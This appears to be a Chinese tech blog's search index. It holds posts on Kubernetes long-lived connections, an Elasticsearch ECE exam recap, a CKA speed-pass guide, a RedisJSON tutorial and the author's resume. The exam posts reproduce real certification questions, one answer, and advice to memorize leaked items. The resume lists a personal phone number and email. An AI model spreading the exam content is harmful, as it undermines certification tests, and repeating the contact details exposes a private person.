上,而另一个 pod C 长期空闲。 如何解决负载不均衡?常见的方案有两种: 客户端自己做负载均衡,这意味着客户端需要获得 service 背后绑定的 pod IP,然后自己实现负载均衡算法,对客户端来说复杂度更高了。 使用中间层,例如 service mesh 服务网格专门去处理流量。 参考资料: https://learnk8s.io/kubernetes-long-lived-connections https://scalingo.com/blog/iptables https://learnk8s.io/kubernetes-network-packets ","date":"2024-06-12","objectID":"/k8s-service-long-lived-connection/:2:0","tags":["Kubernetes"],"title":"Kubernetes Service 与 long-lived connections","uri":"/k8s-service-long-lived-connection/"},{"categories":["Elasticsearch"],"content":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","date":"2024-03-17","objectID":"/2024-ece/","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"背景说明 大家好,我是凌虚。 我于 2024 年 3 月 14 日参加了 Elastic Certified Engineer(ECE)认证考试,并与 18 日收到了考试通过的邮件。本文将会回顾我的考试过程、考试真题、个人感受。 ","date":"2024-03-17","objectID":"/2024-ece/:1:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"ECE 认证 一手资料请一定要阅读官方考试说明文档。 目前考试使用的是 Elasticsearch v8.1 版本。 考试费用 500 美元(涨价过了),需要用支持美元支付的信用卡购买,可以用别人的卡代付。 只有一次考试机会,没有补考,没有官方模拟考和模拟题。 考试内容是 10 个题目,都是实操题,可以使用 Kibana。 ","date":"2024-03-17","objectID":"/2024-ece/:2:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"考试大纲 Data Management(数据管理) Define an index that satisfies a given set of requirements(按要求定义 index) Define and use an index template for a given pattern that satisfies a given set of requirements(按要求定义和使用 index template) Define and use a dynamic template that satisfies a given set of requirements(按要求定义和使用 dynamic template) Define an Index Lifecycle Management policy for a time-series index(为时序索引定义 ILM 策略) Define an index template that creates a new data stream(定义一个 index template 让其创建一个新的 data stream) Searching Data(搜索数据) Write and execute a search query for terms and/or phrases in one or more fields of an index(为索引的一个或多个字段中的 terms 和/或 phrases 编写并执行搜索 query) Write and execute a search query that is a Boolean combination of multiple queries and filters(编写并执行一个由多个 query 和 filter 进行 bool 组合而成的查询) Write an asynchronous search(编写异步搜索) Write and execute metric and bucket aggregations(编写并执行 metric 和 bucket 聚合) Write and execute aggregations that contain sub-aggregations(编写并执行包含子聚合的聚合) Write and execute a query that searches across multiple clusters(编写并执行跨集群搜索的查询) Write and execute a search that utilizes a runtime field(编写并执行利用运行时字段的搜索) Developing Search Applications(开发搜索应用) Highlight the search terms in the response of a query(高亮查询响应中的搜索词) Sort the results of a query by a given set of requirements(按要求对搜索结果进行排序) Implement pagination of the results of a search query(实现搜索结果的分页) Define and use index aliases(定义和使用索引别名) Define and use a search template(定义和使用搜索模板) Data Processing(数据处理) Define a mapping that satisfies a given set of requirements(按要求定义 mapping) Define and use a custom analyzer that satisfies a given set of requirements(按要求定义和使用 custom analyzer) Define and use multi-fields with different data types and/or analyzers(定义和使用具有不同数据类型和/或 analyzer 的多字段) Use the Reindex API and Update By Query API to reindex and/or update documents(使用 Reindex API 和 Update By Query API 重建索引和/或更新文档) Define and use an ingest pipeline that satisfies a given set of requirements, including the use of Painless to modify documents(按要求定义和使用 ingest pipeline,包括使用 Painless 修改文档) Define runtime fields to retries custom values using Painless scripting(使用 Painless 脚本定义运行时字段以检索自定义值) Cluster Management(集群管理) Diagnose shard issues and repair a cluster's health(诊断分片问题并修复集群健康) Backup and restore a cluster and/or specific indices(备份和恢复集群和/或特定索引) Configure a snapshot to be searchable(将快照配置为可搜索) Configure a cluster for cross-cluster search(配置集群以进行跨集群搜索) Implement cross-cluster replication(实现跨集群复制) 考试内容完完全全就是按照考试大纲里的考点来的,但是每个题目都会涉及到多个考点。 ","date":"2024-03-17","objectID":"/2024-ece/:2:1","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"考试真题 以下是我这次考试的题目。 ","date":"2024-03-17","objectID":"/2024-ece/:3:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"1. data stream + index template + ilm 按要求创建一个 ilm policy ,数据索引后 5 分钟内在 hot 节点,之后翻滚至 warm 节点,3分钟后转换到 cold 节点,翻滚之后 6 分钟删除。 然后创建一个 data stream 的 index template : 按要求设置 index_patterns 关联上面的 ilm policy (我第一遍复制粘贴官方文档的代码然后忘了改 settings 里的 index.lifecycle.name ) 由于题目要求数据要先到 hot 节点上,所以按照我的理解 settings 中还应该加 “index.routing.allocation.include._tier_preference”: “data_hot” 最后复制粘贴题目给的请求写入一个文档,从而把这个 data stream 创建出来。 ","date":"2024-03-17","objectID":"/2024-ece/:3:1","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"2. reindex + custom analyzer 给了某个 index 和搜索请求,用 the 去搜索 title 字段的时候会匹配很多文档,要求 reindex 为另外的 index(一般名称都是要求你使用 task2 这种跟题目编号一致的命名方式),然后在新的索引上用 the 搜索不到任务文档。需要注意的是他明确要求你保留原索引的数据结构和类型(也就是要先查原索引的 mappings 并复制粘贴过来),然后在 mappings 中的 title 字段中定义 analyzer 去处理这个 the(这道题 tokenizer 用 standard ,character filter 用 stop 就可以了)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:2","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"3. upadte_by_query + ingest pipeline 要求给某个索引增加一个新的字段,新字段是已有四个字段的值拼接而成,注意拼接的时候字段之间加空格(题目给的正确文档示例是有加空格的)。 看到 update 这种操作建议先 reindex 一下原索引然后测试一下,免得原索引改错了找不回来。 ","date":"2024-03-17","objectID":"/2024-ece/:3:3","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"4. runtime field + aggregations 定义一个 runtime field ,值是已有两个字段的值相减,然后在这个 field 上面做 range aggregation 。 ","date":"2024-03-17","objectID":"/2024-ece/:3:4","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"5. multi-match 要求搜索三个字段,其中一个字段权重乘2,最终得分为每个字段得分相加(也就是设置 type 为 most_fields)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:5","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"6. cross-cluster search 跨集群搜索 题目明确告诉你不需要配置 remote cluster,环境已经配好了,只要写一个跨集群的 query 就行了,query 的内容也很简单,里面会有一个 sort 排序。 ","date":"2024-03-17","objectID":"/2024-ece/:3:6","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"7. aggregations 结果填空,不是填搜索请求。 要求找出来平均飞行里程最大的 airline 航班。 其实就是先按照 airline 航班做一遍 terms 分桶(bucket aggregation),然后在每个 bucket 里再用 avg(metrics aggregation)做一个子聚合求值,最后用 pipeline aggregation 里的 max bucket 取出来 avg 最大的这个 bucket。最后的答案是 AS 。 ","date":"2024-03-17","objectID":"/2024-ece/:3:7","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"8. snapshot 要求先注册一个 shared file system repository 类型的 repository(用 Kibana 操作就行了),然后创建一个 snapshot (要求只包含特定的某个 index),去 rest API 文档下面看一下 snapshot API 就行了。 ","date":"2024-03-17","objectID":"/2024-ece/:3:8","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"9. search template + highlight + sort 自己创建一个 search template(只需要单个 params 参数),要求查询里有 highlight 和 sort ,查询条件很简单,最后要求在 movie_data 这个索引上使用这个 search template 进行查询。题目只要求粘贴最后使用 search template 进行实际查询的请求(但是 search template 需要你先创建好)。 ","date":"2024-03-17","objectID":"/2024-ece/:3:9","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"10. async search + aggregations 写一个异步搜索,针对航班数据索引进行聚合,填完整的请求。内容是查询每周的某个 metrics 指标(具体是啥我忘了,反正就是先做 date_histogram 然后再做 metrics),题目有另外要求 size 为 0 。 最后,你会发现我考试的这十道题除了集群管理里有几个考点没考,其余大纲里所有考点基本都覆盖到了。 ","date":"2024-03-17","objectID":"/2024-ece/:3:10","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"我踩的坑 考前 15 分钟之内才能开始考试,太早了没用(我考 CKA 的时候提前半个小时就进了,但是 ECE 不行)。 一定要用大屏考试,不然考试体验会很痛苦(这是我之前考 CKA 的体会)。 我是笔记本电脑外接了显示器和摄像头,但是外接的摄像头看不清护照上的名字(考试结束后问了卖家才知道买的摄像头是定焦的,大家一定要买变焦的),然后我跟当时的印度监考官折腾了好久,她中间也是离开了一会儿,估计是咨询同事这种情况要怎么办,后来她让我把手机拿过来拍个照再放大了给摄像头看(其实还是有点不清晰,但是监考官没找我茬,让我继续考试了)。 复制键键位冲突。MacBook 都是 option+c,考试环境说是 ctrl + c ,但是我用 ctrl + c 在考试环境里却是唤起浏览器的调试栏,最后没办法只能用鼠标右击复制,这点会影响答题速度但不致命。 考试环境并不是很流畅,有时候会卡一下,这个其实影响也没有很大,保持一个好心态。我最后整个考试只花费了一个小时二十分钟,官方给的三个小时的考试时间是绰绰有余的。 ","date":"2024-03-17","objectID":"/2024-ece/:3:11","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"个人感受 我最开始在备考的时候想的很简单,找几套真题做做就行了,但是后来发现行不通。一方面,考试涉及到的部分内容是 7.x 版本新增的特性,而我由于换公司的原因这几年基本没玩 ES 了,且我之前玩的 ES 还是 6.x 版本,也就是说其实我需要重新学一遍。另一方面,网上基本找不到 8.1 的考试真题,考试相关的资源被几个大佬搞成了付费增值服务的一部分,说到底还是 ES 的圈子太小了,没啥办法。 最后,考试难不难?一点都不难,做题的整个流程基本就是:1、理解题目内容,提炼考点;2、找到考点对应的官方文档,复制粘贴文档里的代码;3、按题目要求修改代码最后提交(某些步骤可以直接用 Kibana 可视化操作,代码都不用敲)。只要你理解了每个考点,能快速找到每个考点的文档位置,你一定能过。 ","date":"2024-03-17","objectID":"/2024-ece/:4:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":["Elasticsearch"],"content":"总结 这种实操类的 IT 考试其实都不难,就是考察的基本功,像我这种几年不玩 ES 的复习两周也能过,大家不要害怕,对自己要有信心。 ","date":"2024-03-17","objectID":"/2024-ece/:5:0","tags":["Elasticsearch"],"title":"我的 2024 年 Elasticsearch 认证考试经验与真题回顾","uri":"/2024-ece/"},{"categories":[],"content":"王颖 性别 学历 出生年份 联系电话 邮箱 男 本科 1993年 18772964832 rifewang@gmail.com 本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理每日几千万 PV 流量、管理数十亿图片。负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。 具备丰富的技术广度,涵盖 后端、云原生、大数据 等多项技术领域,拥有 系统架构设计师、Certified Kubernetes Administrator、Elastic Certified Engineer 等官方技术认证。 职场表现卓越,曾获:年度优秀个人、年度创新团队 等荣誉。坚持健身与学习,自 2017 年至今一直坚持写作,微信公众号:系统架构师Go,技术社区 Segmentfault 思否 2022 和 2023 年度 Maintainer。 ","date":"2024-03-17","objectID":"/resume/resume/:1:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":[],"content":"工作经历 优脑银河(浙江)科技有限公司 2021.07 ~ 2023.12 前沿脑科学项目( https://app.neuralgalaxy.cn/ ) 项目概述:针对自闭症、抑郁症、失语、运动障碍等多种脑疾病提供科研与诊疗平台,为医疗和科研机构提供患者管理、个体精准脑图谱绘制、影像数据管理、任务编排和离线在线计算、智能诊疗等服务。 项目成绩:从零到一的定制化产品成功交付某部战区总医院;科研云平台支撑了多次大规模临床试验及日常科研;疗法云软件投入商业化运作并持续迭代。 个人职责: 后端 Team Leader,推进 Scrum 敏捷开发,安排团队成员的工作内容,组织产品的上线发版。 负责日常后端编码,不限于接口设计、数据建模、缓存与消息队列等中间件集成、系统优化。 负责系统架构设计和迭代,包含技术选型、制定架构演进方案,以及对后端团队进行技术培训。 推进 DevOps 理念,负责 Kubernetes 云原生基础设施、Argo-workflows 任务编排调度引擎。 杭州又拍云科技有限公司 2018.04 ~ 2021.04 又拍图片管家( https://x.yupoo.com ) 项目概述:互联网 SaaS Web 应用,为社区和商家用户提供图片视频的管理、CDN 外链加速、个性化主页展示、站内搜索、统计分析等功能。 项目成绩:在职期间注册用户数增长 6 倍,管理图片资源数量增长 5 倍,获得年度创新团队。 个人职责: 负责 Web 主站的架构迭代和后端研发工作,处理每日几万级 PV 访问、管理十亿级图片资源。 确保系统应对高并发等挑战,保障系统的高可用和高性能。 日常编码,负责 REST API 设计实现、MySQL 数据建模、Redis 缓存、MQ 集成、系统优化。 推动系统向微服务的演进,利用消息队列 NSQ / Kafka 解耦服务。 基于 ElasticSearch 重构全文搜索服务与日志分析系统。 以图搜图系统 项目概述:提供相似性图像内容的快速搜索功能。 个人职责:从零探索,独立构建了以卷积神经网络和向量搜索为核心的整个系统,支撑了十亿级别的图像搜索。成为业界标杆:《又拍图片管家亿级图像之搜图系统的两代演进及底层原理》。 大数据处理系统 项目概述:对 Web 主站访问数据(千万PV/日)、用户图片 CDN 流量(PB/日)日志进行采集处理和统计分析。 个人职责:对于 Web 主站访问数据,实现了 kong-\u003ekafka-\u003elogstash-\u003eelasticsarch 的 ETL 过程,支撑了内部运营决策等统计分析的需求。对于用户图片 CDN 流量日志,将 Hadoop 离线计算替换为了以 ClickHouse 为核心的 OLAP 系统,完成了实时流量计费,并为终端用户提供了数据分析的能力。 财游(上海)信息技术有限公司 2017.04 ~ 2018.04 项目:财宝理财(互联网金融 P2P 项目)。 个人职责:从零将产品打造上线,负责全栈开发、系统架构、基础设施等工作。获得年度优秀个人。 武汉东浦信息技术有限公司 2016.06 ~ 2017.04 项目:汽车保养预约服务。 个人职责:从零构建项目,负责全栈开发,成为公司模板项目。 ","date":"2024-03-17","objectID":"/resume/resume/:2:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":[],"content":"专业技能 8 年开发 5 年架构,较强的架构设计和编码能力,对高并发、高可用、高性能、分布式、微服务等有深入理解和实践。 丰富的 AWS、Aliyun 公有云、自建私有云经验。 擅长 Node.js、Golang,也能写 Python,语言只是工具,解决问题才是重点,经验丰富的工程师掌握一门编程语言并不是什么难事。 熟悉 MySQL、Redis、MQ、Elasticsearch 等原理,具备全文搜索和日志聚合分析经验。 熟悉 Kafka、ClickHouse、ELK,拥有数据仓库和大数据领域项目经验。 熟悉 Linux、CNCF,理解 Docker、Kubernetes、Argo 架构及原理,Kubernetes 中文文档贡献者,熟练掌握云原生周边工具。 熟悉计算机视觉、Milvus 等向量搜索,理解 AI 原理并日常使用以提升效率。 具备技术团队管理经验,拥有 Scrum 敏捷开发、DevOps 等实践经验。 ","date":"2024-03-17","objectID":"/resume/resume/:3:0","tags":[],"title":"个人简历","uri":"/resume/resume/"},{"categories":["Kubernetes"],"content":"我的 2024 年 CKA 认证两天速通攻略","date":"2024-01-27","objectID":"/2024-cka-cert/","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"背景说明 如上图所示,本人于 2024 年 1 月 22 号晚上 11 点进行了 CKA 的认证考试,并以 95 分(满分100)顺利通过拿证。本文将会介绍我的 CKA 考试心得和速通攻略。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:1:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 认证 官方介绍: CKA( Certified Kubernetes Administrator) 认证考试可确保 Kubernetes 管理人员在从业时具备应有的技能、知识和能力。 已获得认证的 K8s 管理员具备了进行基本安装以及配置和管理生产级 Kubernetes 集群的能力。他们将了解 Kubernetes 网络、存储、安全、维护、日志记录和监控、应用生命周期、故障排除、API对象原语等关键概念,并能够为最终用户建立基本的用例。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 考试大纲 参考官方考试大纲: 大纲看着很唬人,但其实考试题目非常简单,不要被吓到。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:1","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 准备和攻略 如果你平时就接触 k8s 或者对几个核心的资源对象有基本的了解这就足够了。如果你完全什么都不懂,那也没关系,直接刷考试真题然后死记硬背也能考过,因为考试真的很简单。 考试时最好提前半个小时进入,点击考试之后会先下载一个叫 PSI 的独立软件(注意考试已经不是浏览器环境了,是独立的 APP 环境),PSI 会检查你的电脑,还会有一些权限要求,比如开启摄像头录像,以及只能有一个显示器,我用笔记本电脑外接了一台显示器结果检测不通过,由于需要摄像头,所以我笔记本电脑的屏幕没法关闭,又没有准备独立的外接摄像头,因此会检测到两台显示器然后无法进入考试,所以最后我只能放弃外接显示器直接用笔记本电脑进行考试(由于我的笔记本电脑屏幕只有13英寸,结果考试体验不太好,非常影响翻文档的效率,因此我建议你还是准备个 15 英寸以上的大屏幕)。 至于攻略,你只需要做以下两件事: 去 https://killercoda.com/sachin/course/CKA 刷题,玩 k8s 的一定要收藏这个网站,各种模拟环境让你不用在自己电脑或者服务器上安装 k8s 就能玩。 刷考试真题(几乎没变过,总是那 17 道题)。 至于购买了考试资格之后的模拟考试,其实参考意义不大,我的建议很直接,不用做模拟考(既然是速通就不要在跟考试相关性不高的地方浪费时间)。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:2","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"CKA 2024 年考试真题 我本来想把每道题都写出来的,结果发现这 17 道题几年了就几乎没变过,而且已经有人写过了真题和解答,所以这里我直接把参考的文档列出来(跟我考试时做的题简直一摸一样): https://www.cnblogs.com/even160941/p/17710997.html https://zhuanlan.zhihu.com/p/675819358 https://blog.csdn.net/u014481728/article/details/133421594 想要速通就训练这些真题就够了。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:2:3","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Kubernetes"],"content":"总结 就考试而言,CKA 真的非常简单,如果你平时就接触 k8s,那像我一样用两天时间刷一下题就能速通。如果你完全不懂,多花几天时间死记硬背也能躺过(如果你顺利通过考试且觉得本文对你有帮助,欢迎你回来给本文点个赞)。 最后,考证虽然简单且有技巧,但还是希望读者能够脚踏实地、认真学习并掌握相关知识。你不一定要上公有云,但一定要上云原生这朵云。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:3:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Middleware"],"content":"Redis Stack 不只是缓存之 RedisJSON","date":"2024-01-08","objectID":"/redis-stack-json/","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"Redis Stack 虽然 Redis 作为一个 key-value 数据库早已被广泛应用于各种缓存相关的场景,然而其团队的却并未故步自封,他们希望更进一步为开发者提供一个不只有缓存功能的强大的实时数据平台,用于处理所有实时数据的应用场景。 为此,除了我们所熟知的核心缓存功能之外,Redis 还通过提供 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等多个模块从而支持 JSON 数据、查询与搜索(包括全文搜索、向量搜索、GEO 地理位置等)、时序数据、概率计算等等扩展功能。 而所谓的 Redis Stack 就是这样一个统一了所有上述模块的集大成者(就是除了缓存功能之外,把 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块都打包到了一起)。 ","date":"2024-01-08","objectID":"/redis-stack-json/:1:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"RedisJSON RedisJSON 是 Redis 的一个模块,它用来专门处理 JSON 格式的数据。除了 string、list、set、hash … 等核心数据类型之外,RedisJSON 模块将 JSON 也作为了一种原生的数据类型。 ","date":"2024-01-08","objectID":"/redis-stack-json/:2:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"JSONPath 为了更方便地访问 JSON 数据中的特定元素,可以使用 path 路径这样一种方式。目前 path 语法有两种:JSONPath syntax(JSONPath 语法) 和 legacy path syntax(传统 path 语法),本文只讲 JSONPath 这种语法。 语法元素说明: $:JSON 数据的根路径。 . 或者 []:子元素。 ..:递归地遍历 JSON 文档。 *:通配符,返回所有元素。 []:下标运算符,访问数组元素。 [,]:并集,选择多个元素。 [start : end : step]:数组切片,其中 start、end 是索引,step 是步长。 ?():过滤 JSON 对象或数组。支持比较运算符(==、!=、\u003c、\u003c=、\u003e、\u003e=、=~)、逻辑运算符(\u0026\u0026、||)和括号((, )) ():脚本表达式。 @:当前元素,用于过滤器或脚本表达式。 示例: { \"store\":{ \"book\":[ { \"category\":\"reference\", \"author\":\"Nigel Rees\", \"title\":\"Sayings of the Century\", \"price\":8.95 }, { \"category\":\"fiction\", \"author\":\"Evelyn Waugh\", \"title\":\"Sword of Honour\", \"price\":12.99 } ], \"bicycle\":{ \"color\":\"red\", \"price\":19.95 } } } $ 指向数据的根路径,返回的也就是整个数据。 . 访问子元素,例如 $.store.bicycle.color。 .. 递归遍历,例如 $.store.book..title 获取 book 数组中的所有对象的 title 属性。 *:通配符,返回所有元素,例如 $.* 由于第一层级只有 store 一个元素,所以这里等价于 $.store;$.store.* 则返回 store 下面所有元素的值,也就是 $.store.book 的值和 $.store.bicycle 的值。 []:下标运算符,从零开始,访问数组元素。例如 $.store.book[1] 返回 book 数组中的第二个元素。 [,]:并集,选择多个元素,例如 $.store.book[0,1] 返回 book 数组的前两个元素。 [start : end : step]:数组切片,例如 $.store.book[0:1] 返回 book 数组中的第一个元素。 @:当前元素,用于过滤器或脚本表达式。 ?():过滤 JSON 对象或数组,例如 $.store.book[?(@.price\u003e10)] 获取 book 数组中 price \u003e 10 的数据。 ","date":"2024-01-08","objectID":"/redis-stack-json/:3:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"JSON command 在 Redis Stack 中支持的 JSON 命令: ","date":"2024-01-08","objectID":"/redis-stack-json/:4:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"通用类 JSON.SET:设置值 SET 语法:JSON.SET key path value [NX | XX] (NX 不存在则设置,XX 存在则设置) JSON.GET:获取值 GET 语法:JSON.GET key [INDENT indent] [NEWLINE newline] [SPACE space] [path [path ...]] JSON.MERGE:合并值 MERGE 语法:JSON.MERGE key path value JSON.FORGET:同 JSON.DEL JSON.DEL:删除值 DEL 语法:JSON.DEL key [path] JSON.CLEAR:清空 array 或 object 类型的值并将 number 类型的值设置为 0 CLEAR 语法:JSON.CLEAR key [path] JSON.TYPE:返回 JSON 值的类型。类型有:string、number、boolean、object、array、null、integer(integer 有点特殊,它并不是 JSON 标准定义的基本类型,但是给出了校验方式) TYPE 语法:JSON.TYPE key [path] 示例(以下示例均是通过 redis-cli 进行): \u003e JSON.SET id:1 $ '{\"a\":2}' \"OK\" \u003e JSON.SET id:1 $.b '3' \"OK\" \u003e JSON.GET id:1 $ \"[{\\\"a\\\":2,\\\"b\\\":3}]\" \u003e JSON.GET id:1 $.a $.b \"{\\\"$.a\\\":[2],\\\"$.b\\\":[3]}\" \u003e JSON.GET id:1 INDENT \"\\t\" NEWLINE \"\\n\" SPACE \" \" $ \"[\\n\\t{\\n\\t\\t\\\"a\\\": 2,\\n\\t\\t\\\"b\\\": 3\\n\\t}\\n]\" \u003e JSON.SET id:2 $ '{\"a\":2}' \"OK\" \u003e JSON.MERGE id:2 $.c '[4,5]' \"OK\" \u003e JSON.GET id:2 $ \"[{\\\"a\\\":2,\\\"c\\\":[4,5]}]\" \u003e JSON.TYPE id:2 $.a 1) \"integer\" \u003e JSON.TYPE id:2 $.c 1) \"array\" \u003e JSON.SET id:3 $ '{\"a\":{\"b\": [1, 2]}, \"c\": \"c\", \"d\": 123}' \"OK\" \u003e JSON.GET id:3 $ \"[{\\\"a\\\":{\\\"b\\\":[1,2]},\\\"c\\\":\\\"c\\\",\\\"d\\\":123}]\" \u003e JSON.CLEAR id:3 $.* (integer) 2 \u003e JSON.GET id:3 $ \"[{\\\"a\\\":{},\\\"c\\\":\\\"c\\\",\\\"d\\\":0}]\" \u003e JSON.DEL id:3 $.a (integer) 1 \u003e JSON.GET id:3 $ \"[{\\\"d\\\":0,\\\"c\\\":\\\"c\\\"}]\" \u003e JSON.DEL id:3 (integer) 1 从以上示例中可以看到,通过 JSONPath 可以只操作 JSON 中的部分值,这也意味着用户可以针对特定部分进行原子操作。 ","date":"2024-01-08","objectID":"/redis-stack-json/:4:1","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 array 数组类型 JSON.ARRAPPEND:数组尾部增加元素 ARRAPPEND 语法:JSON.ARRAPPEND key [path] value [value ...] JSON.ARRINDEX:数组中出现指定值的第一个 index ARRINDEX 语法:JSON.ARRINDEX key path value [start [stop]] JSON.ARRINSERT:数组指定索引处插入元素 ARRINSERT 语法:JSON.ARRINSERT key path index value [value ...] JSON.ARRLEN:返回数组的长度 ARRLEN 语法:JSON.ARRLEN key [path] JSON.ARRPOP:从数组的索引中删除并返回一个元素 ARRPOP 语法:JSON.ARRPOP key [path [index]] JSON.ARRTRIM:修剪数组,使其仅包含指定范围的元素 ARRTRIM 语法:JSON.ARRTRIM key path start stop 示例: \u003e JSON.SET id:4 $ '[1,2,3]' \"OK\" \u003e JSON.ARRAPPEND id:4 $ '4' '5' 1) \"5\" \u003e JSON.GET id:4 $ \"[[1,2,3,4,5]]\" \u003e JSON.ARRINSERT id:4 $ 2 '2' '3' 1) \"7\" \u003e JSON.GET id:4 $ \"[[1,2,2,3,3,4,5]]\" \u003e JSON.ARRINDEX id:4 $ '3' 1) \"3\" \u003e JSON.ARRPOP id:4 \"5\" \u003e JSON.ARRLEN id:4 (integer) 6 \u003e JSON.ARRTRIM id:4 $ 1 3 1) \"3\" \u003e JSON.GET id:4 $ \"[[2,2,3]]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:2","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 object 对象类型 JSON.OBJKEYS:返回 object 中的 key 数组 JSON.OBJLEN:返回 object 中的 key 的数量 示例: \u003e JSON.SET doc $ '{\"a\":[3], \"nested\": {\"a\": {\"b\":2, \"c\": 1}}}' \"OK\" \u003e JSON.OBJKEYS doc $..a 1) \"null\" 2) 1) \"b\" 2) \"c\" \u003e JSON.OBJLEN doc $ 1) \"2\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:3","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 number 类型 JSON.NUMINCRBY:为 number 类型增加数值 示例: \u003e JSON.SET doc $ '{\"a\": 1, \"b\": 2}' \"OK\" \u003e JSON.NUMINCRBY doc $.a 10 \"[11]\" \u003e JSON.GET doc $ \"[{\\\"a\\\":11,\\\"b\\\":2}]\" \u003e JSON.NUMINCRBY doc $.b -3 \"[-1]\" \u003e JSON.GET doc $ \"[{\\\"a\\\":11,\\\"b\\\":-1}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:4","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 string 类型 JSON.STRAPPEND:追加字符串 JSON.STRLEN:返回字符串的长度 示例: \u003e JSON.SET doc $ '{\"a\":\"foo\", \"nested\": {\"a\": \"hello\"}, \"nested2\": {\"a\": 31}}' \"OK\" \u003e JSON.STRAPPEND doc $..a '\"baz\"' 1) \"6\" 2) \"8\" 3) \"null\" \u003e JSON.GET doc $ 